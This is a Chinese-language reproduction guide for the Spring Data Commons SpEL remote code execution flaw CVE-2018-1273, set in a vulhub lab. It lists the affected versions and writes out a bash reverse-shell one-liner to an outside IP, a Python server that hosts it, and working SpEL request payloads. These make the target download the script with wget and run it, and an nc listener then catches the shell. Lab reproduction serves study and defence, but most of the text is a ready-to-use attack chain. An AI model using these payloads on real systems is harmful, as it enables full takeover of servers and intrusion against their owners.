一、漏洞说明
 Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,包含Commons、Gemfire、JPA、JDBC、MongoDB等模块。此漏洞产生于Spring Data Commons组件,该组件为提供共享的基础框架,适合各个子项目使用,支持跨数据库持久化。
Spring Data Commons组件中存在远程代码执行漏洞,攻击者可构造包含有恶意代码的SPEL表达式实现远程代码攻击,直接获取服务器控制权限。
 二、影响版本
 Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)
 Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
 Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
 Spring Data REST 3.0 - 3.0.5 (Kay SR5)
 三、搭建环境
 cd vulhub/spring/CVE-2018-1273
 docker-compose up -d
 
四、漏洞复现
 1.准备shell命令
 bash -i >& /dev/tcp/192.168.155.2/1111 0>&1
 写入文件shell.sh
 
2.开启http服务
 在sh文件所在目录开启http服务
 python -m http.server 8081
 

3.抓包
 访问http://192.168.25.128:8080/users,注册,BP抓包
 

4.准备请求包
 Payload:
 username[#this.getClass().forName(“java.lang.Runtime”).getRuntime().exec(“【要执行的命令】”)]=&password=&repeatedPassword=
 下载文件请求包:username[#this.getClass().forName(“java.lang.Runtime”).getRuntime().exec(“/usr/bin/wget -O /tmp/1.sh http://192.168.155.2:8081/shell.sh”)]&password=test&repeatedPassword=test
 执行命令请求包:
 username[#this.getClass().forName(“java.lang.Runtime”).getRuntime().exec(“/bin/bash /tmp/1.sh”)]&password=test&repeatedPassword=test
 5.nc开启监听
 
6.发送请求包
 发送下载包
 
发现tmp里出现了1.sh
 

发送执行包
 
7.反弹shell
 
注意:
 wget正确用法:
 使用 -O 选项以其他名称保存下载的文件
 wget -O /usr/software https://download.redis.io/releases/redis-6.0.8.tar.gz



















